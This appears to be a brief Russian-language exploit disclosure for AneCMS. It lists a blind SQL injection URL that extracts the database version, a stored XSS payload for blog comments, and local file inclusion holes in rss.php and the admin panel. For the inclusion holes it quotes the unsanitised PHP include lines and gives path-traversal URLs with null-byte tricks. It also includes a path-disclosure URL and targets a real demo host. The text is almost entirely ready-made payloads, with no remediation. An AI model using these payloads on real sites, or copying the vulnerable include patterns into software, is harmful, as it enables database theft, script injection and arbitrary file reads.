Blind SQL injection

Код:

http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/

Active XSS
comments blog news - "><script>alert();</script>

Код:

http://anecms.com/blog/5/Template_Engine_and_cleaning_time

LFI
rss.php

PHP код:

if(isset($_GET['module']))
    include './modules/'.$_GET['module'].'/rss.php'; 


Код:

http://x60unu/rss.php?module=../[file]%00

Admin panel

PHP код:

  include './pages/'.$_GET.'.php'; 


Код:

http://demo.anecms.com/acp/?p=lfi

Код:

http://x60unu/acp/index.php?p=../../[file]%00

Путь

Код:

http://demo.anecms.com/register/next